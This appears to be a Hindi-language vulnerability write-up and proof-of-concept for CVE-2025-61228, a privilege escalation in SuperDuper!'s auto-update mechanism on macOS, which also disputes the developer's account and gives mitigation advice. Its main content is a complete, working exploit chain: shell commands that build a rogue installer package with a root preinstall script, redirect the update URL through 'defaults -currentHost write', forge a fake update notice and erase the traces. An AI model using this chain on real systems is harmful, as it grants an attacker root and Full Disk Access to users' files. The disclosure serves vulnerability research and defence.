graypixel2121/cve-2025-61228CVE-2025-61228 के लिए तकनीकी विश्लेषण और प्रूफ-ऑफ-कॉन्सेप्ट एक्सप्लॉइट, SuperDuper! के ऑटो-अपडेट तंत्र में एक विशेषाधिकार वृद्धि भेद्यता, जिसमें हमले वेक्टर और शमन मार्गदर्शन का विस्तृत विवरण शामिल है।
यह समस्या डेवलपर के अनुमान से अधिक गंभीर प्रतीत होती है, इसलिए मैं नहीं चाहता कि यह भाग अनदेखा रह जाए। डेवलपर ने अपने ब्लॉग पर कहा:
यह तभी हो सकता है जब आपके सिस्टम पर चलने वाला कोई प्रोग्राम SuperDuper को अपडेट करने की तलाश में हो, एक वास्तविक अपडेट वैध तरीके से प्रस्तुत किया गया हो, और आप अपग्रेड पर क्लिक करें।
यह वास्तव में सच नहीं है, इस भेद्यता का शोषण करने के लिए वैध तरीके से वास्तविक अपडेट प्रस्तुत करने की आवश्यकता नहीं है। SuperDuper 3.10 और पुराने संस्करणों द्वारा प्रदान किए गए किसी भी अपडेट को कभी स्वीकार न करें! मैं इसके बारे में नीचे और विस्तार से बताता हूँ।
यह समझना भी महत्वपूर्ण है कि यह भेद्यता केवल विशेषाधिकार वृद्धि तक सीमित नहीं है, बल्कि इसमें गोपनीयता नियंत्रणों का उल्लंघन भी शामिल है। ऐसा लगता है कि डेवलपर के ब्लॉग पोस्ट से यह विवरण छोड़ दिया गया है।
डेवलपर के ब्लॉग से:
हमारा ऑटो-अपडेट तंत्र अपहृत किया जा सकता है और उसे एक पैकेज स्थापित करने के लिए राजी किया जा सकता है जो SuperDuper नहीं है।
भले ही हमने अपने इंस्टॉलर पैकेज पर हस्ताक्षर और नोटरीकरण किया हो, Gatekeeper उस नोटरीकरण की जाँच नहीं कर रहा है जब macOS के पैकेज इंस्टॉलर द्वारा इंस्टॉल किया जाता है। इस प्रकार, डाउनलोड बदला जा सकता है, और हम उसके स्थान पर वह स्थापित कर देंगे। चूंकि इंस्टॉल बढ़े हुए विशेषाधिकारों के साथ किया जा रहा है, यह एक दुर्भावनापूर्ण तृतीय-पक्ष प्रोग्राम को, जिसे आपको भी स्थापित करना होगा, आपके सिस्टम तक व्यवस्थापक पहुँच प्राप्त करने की अनुमति दे सकता है।
CVE से:
Shirt Pocket SuperDuper! V.3.10 और इससे पहले के संस्करणों में एक समस्या है जो एक स्थानीय हमलावर को सॉफ़्टवेयर अपडेट तंत्र के माध्यम से मनमाना कोड निष्पादित करने की अनुमति देती है।
यह लेखक भेद्यता का खोजकर्ता नहीं है, जिसे SuperDuper डेवलपर "गुमनाम सुरक्षा शोधकर्ता" के रूप में पहचानता है। मैं इस भेद्यता की खोज का कोई श्रेय नहीं लेता, मुझे इसका तकनीकी विश्लेषण करने में कुछ रुचि थी।
CVSS 3.1 स्कोर: 7.8 उच्च (CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H)
इस भेद्यता से बचने के लिए, SuperDuper! एप्लिकेशन को हटा दें, या 3.11 अपडेट लागू करें।
चेतावनी: इस भेद्यता से बचने के लिए आपको अपडेट सीधे डेवलपर की वेबसाइट से डाउनलोड करना होगा।
यह शोषण विश्लेषण और प्रमाण-अवधारणा केवल शैक्षिक उद्देश्यों के लिए प्रदान किया गया है। इसे अपने जोखिम पर उपयोग करें।
SuperDuper डेवलपर्स ने एक ओपन-सोर्स सॉफ़्टवेयर अपडेट समाधान को लागू करने के बजाय, जो सैकड़ों डेवलपर्स और सुरक्षा पेशेवरों द्वारा परीक्षण किया गया है, अपना स्वयं का सॉफ़्टवेयर अपडेट तंत्र बनाया जो असुरक्षित शेल स्क्रिप्ट पर आधारित है जो रूट विशेषाधिकारों के साथ चलती हैं और पूर्ण डिस्क पहुँच रखती हैं। अपडेट के दौरान स्थापित होने वाले सॉफ़्टवेयर को प्रमाणित करने में विफल रहने पर, SuperDuper को हमलावर के सॉफ़्टवेयर को स्थापित करने के लिए बरगलाया जाता है। डेवलपर का फिक्स केवल इस भेद्यता के प्रमाणीकरण पहलू को संबोधित करता है, यह शेल स्क्रिप्ट के उपयोग से उत्पन्न होने वाली अंतर्निहित कमजोरियों को संबोधित नहीं करता है।
डेवलपर की टिप्पणी "Gatekeeper नोटरीकरण की जाँच नहीं कर रहा है" भ्रामक है। GateKeeper तब काम में आता है जब आप ब्राउज़र में डाउनलोड की गई किसी चीज़ को खोलने का प्रयास करते हैं, लेकिन यह किसी एप्लिकेशन के आंतरिक सॉफ़्टवेयर अपडेट तंत्र में लागू नहीं होता है। यह 100% डेवलपर की जिम्मेदारी है कि वह अपने सॉफ़्टवेयर द्वारा आपके कंप्यूटर पर डाउनलोड और इंस्टॉल की गई किसी भी चीज़ को मान्य करे – इस डेवलपर को आपको यह विश्वास न करने दें कि यह GateKeeper की विफलता है। शोषण के मूल में, एक हमलावर SuperDuper को एक वैकल्पिक पैकेज स्थापित करने के लिए धोखा दे सकता है, और यह बढ़े हुए विशेषाधिकारों के साथ होता है। संभवतः यह पूर्ण डिस्क पहुँच के साथ भी चलेगा, क्योंकि SuperDuper को कुछ भी करने के लिए पूर्ण डिस्क पहुँच की आवश्यकता होती है।
डेवलपर का ब्लॉग यह भी कहता है:
यह तभी हो सकता है जब आपके सिस्टम पर चलने वाला कोई प्रोग्राम SuperDuper को अपडेट करने की तलाश में हो, एक वास्तविक अपडेट वैध तरीके से प्रस्तुत किया गया हो, और आप अपग्रेड पर क्लिक करें।
उस टिप्पणी के साथ, मैंने मान लिया कि इस शोषण को पुन: उत्पन्न करना संभव नहीं होगा क्योंकि इसमें अपडेट तंत्र में सर्वर-साइड बदलाव शामिल होने चाहिए जो 3.11 पैच के पोस्ट के साथ किए गए होंगे। दूसरे शब्दों में, सॉफ़्टवेयर के पुराने संस्करणों को इस भेद्यता से प्रभावित होने से रोकने के लिए, निश्चित रूप से उन्होंने अपडेट तंत्र को अक्षम कर दिया है, है ना? खैर... मैंने SuperDuper का एक पुराना संस्करण डाउनलोड किया, और जब मैंने इसे खोला, तो मेरा तुरंत एक अपडेट सूचना से स्वागत किया गया† – संभावित शोषण से एक क्लिक दूर। मुझे यह बहुत दिलचस्प लगा – जो कोई भी एप्लिकेशन के पुराने संस्करण का उपयोग कर रहा है, वह इस भेद्यता से कैसे सुरक्षित रहेगा यदि ऑटो-अपडेट तंत्र अक्षम नहीं है? (यह "चेतावनी" से संबंधित है जिसका मैंने लेख की शुरुआत में उल्लेख किया था, मैं अंत में इस प्रश्न पर फिर से विचार करूँगा)
† वैसे... परिणाम वास्तव में बहुत अजीब था। अपडेट का कोई विवरण या सुरक्षा सलाहकार नहीं था, विंडो केवल स्किप और अपडेट बटन के साथ खाली थी। इसलिए पुराने उपयोगकर्ता न केवल अपडेट तंत्र को अक्षम करके शोषण से सुरक्षित नहीं हैं, बल्कि उन्हें अपडेट तंत्र के माध्यम से समस्या के बारे में भी सूचित नहीं किया जाता है।
मैं आगे बढ़ा। जब आप अपग्रेड लागू करते हैं, तो बैकएंड मैकेनिक्स उपयोगी रूप से SuperDuper लॉग में लॉग हो जाते हैं, इसलिए हम यह देखने के लिए वहाँ से शुरू करेंगे कि यह कैसे काम करता है:
Transcript : UpgradeTranscript.plist
Ext Logging : Disabled
PHASE: 1. Upgrade Application
...ACTION: Downloading upgrade package
......COMMAND => Downloading update package...
......COMMAND => Preparing update package
...ACTION: Installing upgrade package
......COMMAND => Preserving SDAgent owner and mode bits
......COMMAND => Installing upgrade package
installer[3148] <Debug>: Product archive /tmp/SuperDuper!.pkg trustLevel=350
Mac ऐप स्टोर के बाहर रहने वाले कई Mac ऐप सुरक्षित रूप से सॉफ़्टवेयर अपडेट प्रबंधित करने के लिए ओपन-सोर्स Sparkle फ्रेमवर्क का उपयोग करते हैं। SuperDuper नहीं। हम यहाँ देख सकते हैं कि उन्होंने अपना खुद का बनाया, और यह एक बढ़िया उदाहरण है कि यह अक्सर एक बुरा विकल्प क्यों होता है। सॉफ़्टवेयर अपग्रेड तंत्र शोषण के लिए प्रमुख लक्ष्य हैं, इसलिए उन्हें सुरक्षित रखने के लिए बहुत समय और विशेषज्ञता की आवश्यकता होती है। "UpgradeTranscript.plist" SuperDuper एप्लिकेशन के अंदर एक फ़ाइल का संदर्भ है जो टर्मिनल कमांड की एक श्रृंखला को निर्दिष्ट करता है जिसका उपयोग SuperDuper अपडेट को डाउनलोड और लागू करने के लिए करता है:
cat /Applications/SuperDuper\!.app/Contents/Resources/Transcripts/UpgradeTranscript.plist
<?xml version="1.0" encoding="UTF-8"?>
...
/usr/bin/curl SDHTTPproxy.Host --silent --show-error --output /tmp/superduper.tar.gz -L SDdownloadURL
cd /tmp; if [ -d superduper_install ]; then /bin/rm -rf superduper_install; fi; /bin/mkdir superduper_install; /usr/bin/tar xzf superduper.tar.gz; /bin/rm /tmp/superduper.tar.gz; if [ -d '/Library/Receipts/SuperDuper!.pkg' ]; then /bin/rm -rf '/Library/Receipts/SuperDuper!.pkg'; fi;
/usr/sbin/installer -allow -verboseR -dumplog -pkg '/tmp/SuperDuper!.pkg' -target / >&1 2>&1;
if [ ! -d '/tmp/superduper_install/SuperDuper!.app' ]; then /usr/bin/ditto -rsrc '/Applications/Utilities/SuperDuper!.app' '/tmp/superduper_install/SuperDuper!.app'; fi
/bin/rm -rf '/tmp/SuperDuper!.pkg' '/tmp/superduper_install' '/Library/Receipts/SuperDuper!.pkg'; if [ SDAppBundle.'Path != '/Applications/Utilities/SuperDuper!.app' -a -d '/Applications/Utilities/SuperDuper!.app' ]; then /bin/rm -rf '/Applications/Utilities/SuperDuper!.app'; fi
मैं इन कमांड और प्रक्रिया में कम से कम चार समस्याएँ देखता हूँ:
पैकेज इंस्टॉलर शेल स्क्रिप्ट चला सकते हैं, इसलिए मैं मान लेता हूँ कि वैकल्पिक इंस्टॉलर पैकेज के लिए यह हमला वेक्टर पसंदीदा है। आइए एक पैकेज बनाकर शुरू करें जो एक प्रीइंस्टॉल स्क्रिप्ट चलाता है, फिर देखें कि इसे अपडेट तंत्र में कैसे डाला जाए।
# Use of the "/tmp/superduper_install" installation folder offers convenient cleanup by SuperDuper
mkdir /tmp/superduper_install
mkdir /tmp/superduper_install/script
mkdir /tmp/superduper_install/pkg
# create the script. /Library is only writable by root, so we will attempt to create a test file there.
# Getting the content of the Desktop folder requires a user-granted privacy privilege, so we will also attempt
# to pull that folder list into a text file on the desktop to see if we have full disk access. Note that to
# effectively test this part of the exploit, you should revoke Full Disk Access from Terminal.
cd ~; export home=`pwd`
printf '#!/bin/bash\ntouch /Library/test\n' > /tmp/superduper_install/script/preinstall
printf "ls -l $home/Desktop > $home/Desktop/private_data\nexit 0\n" >> /tmp/superduper_install/script/preinstall
chmod a+x /tmp/superduper_install/script/preinstall
# build the package
pkgbuild --nopayload --scripts /tmp/superduper_install/script --identifier com.example.mypackage --version 1.0 /tmp/superduper_install/pkg/SuperDuper\!.pkg
# put the package in a tar archive
cd /tmp/superduper_install/pkg
tar -cf /tmp/superduper_install/superduped.tar.gz SuperDuper\!.pkg
संक्षिप्त साइडबार यह देखने के लिए कि यह शोषण हमलावर को किस प्रकार की पहुँच देता है – यदि आप शेल स्क्रिप्ट को मैन्युअल रूप से चलाते हैं (यह मानते हुए कि टर्मिनल के पास पूर्ण डिस्क पहुँच या "फ़ाइलें और फ़ोल्डर्स" तक पहुँच नहीं है) तो आपको दो त्रुटियाँ मिलेंगी:
touch: /Library/test: Permission denied
ls: /Users/user/Desktop: Operation not permitted
एक हमलावर रूट पहुँच से बहुत नुकसान कर सकता है, लेकिन गोपनीयता पहुँच के साथ भी, वे आपके होम फोल्डर के अंदर व्यापक सामग्री तक पहुँच सकते हैं (डेस्कटॉप तुच्छ लग सकता है, लेकिन छिपे हुए लाइब्रेरी फोल्डर में बहुत सारा निजी डेटा संग्रहीत होता है)। यह शोषण उन्हें दोनों देता है।
ठीक है, पैकेज बनाना आसान हिस्सा था। हम अपडेट तंत्र में कैसे घुसपैठ करें? रेस कंडीशन का शोषण करना एक स्पष्ट उम्मीदवार था, लेकिन मैंने सोचा कि क्या प्रक्रिया के इस भाग में हस्तक्षेप करना संभव हो सकता है:
/usr/bin/curl SDHTTPproxy.Host --silent --show-error --output /tmp/superduper.tar.gz -L SDdownloadURL
होस्ट और डाउनलोड URL चर स्पष्ट रूप से स्क्रिप्ट के बाहर से आ रहे हैं। क्या उनमें हेरफेर किया जा सकता है? जो ऐप्स Sparkle सॉफ़्टवेयर अपडेट तंत्र का उपयोग करते हैं, वे अक्सर CFPreferences में एक "सॉफ़्टवेयर अपडेट जाँच" URL संग्रहीत करते हैं, इसलिए मैंने सोचा कि क्या SuperDuper भी ऐसा ही करता है। निश्चित रूप से, लेकिन इससे भी बुरा – अपडेट की जाँच के लिए केवल एक URL संग्रहीत करने के बजाय, SuperDuper वास्तविक डाउनलोड URL को CFPreferences में रखता है:
defaults read com.blacey.SuperDuper
...
UMdownloadURL = "https://s3.amazonaws.com/shirtpocket/SuperDuper/beta/superduper2.tar.gz";
UMfailureCount = 0;
UMinfoURL = "https://s3.amazonaws.com/shirtpocket/SuperDuper/beta/superduperinfo2.rtf";
UMpublicVersion = "137.7";
मैंने URL को स्थानीय फ़ाइल सिस्टम URL से ओवरराइड करने का प्रयास किया:
defaults write com.blacey.SuperDuper UMdownloadURL "file:///tmp/superduper_install/superduped.tar.gz"
मैंने SuperDuper को फिर से खोला और अपडेट पर क्लिक किया, लेकिन अपडेट डेवलपर के अपडेट को स्थापित करने के लिए आगे बढ़ा, मेरे वैकल्पिक पैकेज को नहीं। बेशक – जब SuperDuper ने लॉन्च पर फिर से अपडेट देखा, तो उसने डिफॉल्ट्स मान को फिर से लिख दिया। मैंने SuperDuper द्वारा अपडेट प्रस्तुत करने के बाद मान सेट करने का पुनः प्रयास किया, इस बार यह काम कर गया! खैर, अपडेट इंस्टॉलेशन वास्तव में विफल रहा, लेकिन हमला काम कर गया – /Library/test फ़ाइल बन गई थी।
मैंने परीक्षण फ़ाइल को हटा दिया और यह सत्यापित करने के लिए परीक्षण दोहराया कि यह वास्तव में काम कर रहा था। मैंने यह भी पुष्टि की कि डेस्कटॉप पर private_data फ़ाइल में अब डेस्कटॉप की फ़ोल्डर सूची थी – स्क्रिप्ट पूर्ण डिस्क पहुँच के साथ चली।
मैं यहाँ रुक सकता था, लेकिन त्रुटि लॉग ने दिखाया कि इंस्टॉल विफल हुआ क्योंकि SuperDuper नहीं मिल सका:
COMMAND => Copying upgrade bundle to temporary location
***ERROR OCCURRED: ditto: Cannot get the real path for source '/Applications/Utilities/SuperDuper!.app'
UpgradeTranscript.plist शेल स्क्रिप्ट के तर्क पर पुनर्विचार करते हुए, मुझे एहसास हुआ कि इंस्टॉलर वास्तव में सफल हो सकता है यदि मैं SuperDuper एप्लिकेशन को वैकल्पिक पैकेज में कॉपी कर दूं (ditto वह त्रुटि इसलिए फेंक रहा है क्योंकि /tmp/superduper_install/SuperDuper!.app मौजूद नहीं है)। यह अपेक्षा से अधिक कठिन साबित हुआ, इंस्टॉलेशन के दौरान SuperDuper हमेशा क्रैश हो रहा था। प्रीइंस्टॉल स्क्रिप्ट को रनटाइम पर ऐप को अपेक्षित स्थान पर कॉपी करना बहुत आसान था:
mkdir /tmp/superduper_install
mkdir /tmp/superduper_install/script
mkdir /tmp/superduper_install/pkg
cd ~; export home=`pwd`
printf '#!/bin/bash\ntouch /Library/test\n' > /tmp/superduper_install/script/preinstall
printf "ls -l $home/Desktop > $home/Desktop/private_data\n" >> /tmp/superduper_install/script/preinstall
printf 'cp -R /Applications/SuperDuper\!.app /tmp/superduper_install/SuperDuper\!.app\n' >> /tmp/superduper_install/script/preinstall
chmod a+x /tmp/superduper_install/script/preinstall
pkgbuild --nopayload --scripts /tmp/superduper_install/script --identifier com.example.mypackage --version 1.0 /tmp/superduper_install/pkg/SuperDuper\!.pkg
cd /tmp/superduper_install/pkg
tar cf /tmp/superduper_install/superduped.tar.gz SuperDuper\!.pkg
[Open SuperDuper for the update presentation]
defaults write com.blacey.SuperDuper UMdownloadURL "file:///tmp/superduper_install/superduped.tar.gz"
अब SuperDuper ने नकली पैकेज स्थापित किया, और यह सफलतापूर्वक स्थापित होता दिखाई दिया। SuperDuper ने स्वयं को पुनः लॉन्च किया और फिर से अपडेट प्रस्तुत किया, जो अपेक्षित है क्योंकि इसने अभी-अभी पुराने संस्करण की प्रतिलिपि को tmp फोल्डर में पुनः स्थापित किया है। त्रुटि संदेश की कमी शायद औसत उपयोगकर्ता को यह विश्वास दिलाने के लिए पर्याप्त है कि वास्तव में कुछ भी गलत नहीं है, और वे बस अपग्रेड बटन पर फिर से क्लिक करेंगे, इस बार डेवलपर की साइट से वास्तविक पैकेज स्थापित करेंगे। इस बीच, शोषण पहले ही सक्रिय हो चुका है और उपयोगकर्ता इसे अनदेखा कर देता है, "अरे, यह थोड़ा अजीब था, लेकिन अब काम कर रहा है।"
यहाँ अभी भी एक तार्किक समस्या है जो इस हमले को अंजाम देना मुश्किल बना सकती है: हमलावर को उपयोगकर्ता को अपडेट प्रस्तुत करने के बाद और उपयोगकर्ता के अपग्रेड बटन पर क्लिक करने से पहले वह "defaults" कमांड चलानी होगी। यह निश्चित रूप से किया जा सकता है, आप बस पृष्ठभूमि में उस "defaults write" कमांड को अनंत पुनरावृत्ति पर चला सकते हैं, लेकिन यह ध्यान आकर्षित करेगा। पहले मैंने सोचा कि मैं इसके आसपास जाने के लिए प्राथमिकताओं की फ़ाइल को लॉक कर सकता हूँ:
defaults write com.blacey.SuperDuper UMdownloadURL "file:///tmp/superduper_install/superduped.tar.gz"
chflags uchg ~/Library/Preferences/com.blacey.SuperDuper.plist
[wait for SD update presentation, then the user can go ahead and apply it without any extra steps]
लेकिन यह काम नहीं किया। प्राथमिकताएँ कैसे काम करती हैं, इसके बारे में सोचते हुए, यह समझ में आया। एप्लिकेशन उन फ़ाइलों को नहीं खोलते और हर बार जब उन्हें कोई सेटिंग प्राप्त करने की आवश्यकता होती है, तो मान नहीं पढ़ते, बल्कि वे मान के लिए "CFPreferences" इंटरफ़ेस से पूछते हैं। यदि SuperDuper UMdownloadURL के मान को बदलता है, तो CFPreferences भौतिक फ़ाइल अपरिवर्तित रहने पर भी परिवर्तन को मेमोरी में बनाए रखेगा। जब SuperDuper बाद में उस सेटिंग का मान माँगता है, तो CFPreferences इसे कैश से प्राप्त करेगा (और यदि भौतिक फ़ाइलों में परिवर्तन किए जाते हैं तो कैश अपडेट हो जाता है)।
इस बिंदु पर कुछ वास्तव में मुझे परेशान कर रहा था – डेवलपर CFPreferences में डाउनलोड URL लिखने की जहमत क्यों उठाएगा? निश्चित रूप से आप केवल उन मानों को CFPreferences में लिखेंगे यदि आप उन्हें CFPreferences से पढ़ने की भी योजना बनाते हैं, है ना? लेकिन मान को मेमोरी में कहीं एक चर में संग्रहीत क्यों नहीं करते? इस तरह से CFPreferences का उपयोग करने में दो बड़ी समस्याएँ हैं जो हर अनुभवी मैक डेवलपर को पता होनी चाहिए:
अपने सिद्धांत का परीक्षण करने के लिए, मैंने प्राथमिकता को "currentHost" डोमेन पर लिखा, जो एप्लिकेशन डोमेन को अधिक्रमित करता है:
defaults -currentHost write com.blacey.SuperDuper UMdownloadURL "file:///tmp/superduper_install/superduped.tar.gz"
फिर मैंने SuperDuper को पुनः लॉन्च किया और अपग्रेड पर क्लिक किया – वैकल्पिक पैकेज स्थापित हो गया। आश्चर्यजनक। यह शोषण को अंजाम देना बहुत आसान बनाता है, एक हमलावर बस उस प्राथमिकता सेटिंग को रख सकता है और एक अपडेट पोस्ट होने की अनिश्चित काल तक प्रतीक्षा कर सकता है। लेकिन रुकिए, यदि SuperDuper डाउनलोड URL मान को प्राथमिकताओं से प्राप्त करता है, तो क्या यह संस्करण संख्या भी प्राप्त कर सकता है? क्या एक हमलावर मूल रूप से एक अपडेट प्रेरित कर सकता है और SuperDuper को इसे प्रस्तुत करने के लिए धोखा दे सकता है, भले ही डेवलपर ने एक पोस्ट नहीं किया हो? अद्भुत, हाँ! सब कुछ एक साथ रखते हुए, एक हमलावर एक पुराने (अनपैच) संस्करण के SuperDuper! को एक नकली अपडेट प्रस्तुत करने, एक वैकल्पिक पैकेज स्थापित करने के लिए ये कमांड निष्पादित कर सकता है, जबकि SuperDuper हमले के सभी निशान हटा देता है:
mkdir /tmp/superduper_install
mkdir /tmp/superduper_install/script
mkdir /tmp/superduper_install/pkg
cd ~; export home=`pwd`; export user=`whoami`
printf '#!/bin/bash\ntouch /Library/test\n' > /tmp/superduper_install/script/preinstall
printf "ls -l $home/Desktop > $home/Desktop/private_data\n" >> /tmp/superduper_install/script/preinstall
printf 'cp -R /Applications/SuperDuper\!.app /tmp/superduper_install/SuperDuper\!.app\n' >> /tmp/superduper_install/script/preinstall
printf "sudo -u $user defaults -currentHost delete com.blacey.SuperDuper\n" >> /tmp/superduper_install/script/preinstall
chmod a+x /tmp/superduper_install/script/preinstall
pkgbuild --nopayload --scripts /tmp/superduper_install/script --identifier com.example.mypackage --version 1.0 /tmp/superduper_install/pkg/SuperDuper\!.pkg
cd /tmp/superduper_install/pkg
tar cf /tmp/superduper_install/superduped.tar.gz SuperDuper\!.pkg
defaults -currentHost write com.blacey.SuperDuper UMdownloadURL "file:///tmp/superduper_install/superduped.tar.gz"
printf '<span style="font-weight: bold; font-size: 11pt; font-family: sans-serif;"><span style="color: red;">SuperDuper 4.0 (v140)</span> is now available for automatic upgrade!</span>\n' > /tmp/superduper_install/update.html
textutil -convert rtf /tmp/superduper_install/update.html
defaults -currentHost write com.blacey.SuperDuper UMpublicVersion "999"
defaults -currentHost write com.blacey.SuperDuper UMinfoURL "file:///tmp/superduper_install/update.rtf"
open '/Applications/SuperDuper!.app'
जब SuperDuper वैकल्पिक पैकेज स्थापित करने के बाद पुनः लोड होता है, तो अपडेट फिर से प्रस्तुत नहीं होता है और उपयोगकर्ता यह मानते हुए आगे बढ़ता है कि उन्होंने नया संस्करण स्थापित कर लिया है, और उन्हें पता भी नहीं चलता कि शोषण सक्रिय हो गया है।
लेख की शुरुआत की ओर लौटते हुए, मैंने सोचा, "जो कोई भी एप्लिकेशन के पुराने संस्करण का उपयोग कर रहा है, वह इस भेद्यता से कैसे सुरक्षित रहेगा यदि ऑटो-अपडेट तंत्र अक्षम नहीं है?" जैसा कि पता चला, इससे कोई फर्क नहीं पड़ता कि डेवलपर ऑटो-अपडेट तंत्र को अक्षम करता है या नहीं – इस भेद्यता का शोषण बिना (या इसके बावजूद) किसी सर्वर-साइड बदलाव के किया जा सकता है, और इसमें डेवलपर को एक "वास्तविक" अपडेट पोस्ट करने की भी आवश्यकता नहीं है। एकमात्र शमन उपाय यह है कि उपयोगकर्ता हमेशा एक स्वचालित अपडेट को अस्वीकार करें जब तक कि वे मैन्युअल रूप से उत्पाद के पैच किए गए संस्करण में अपडेट न कर लें।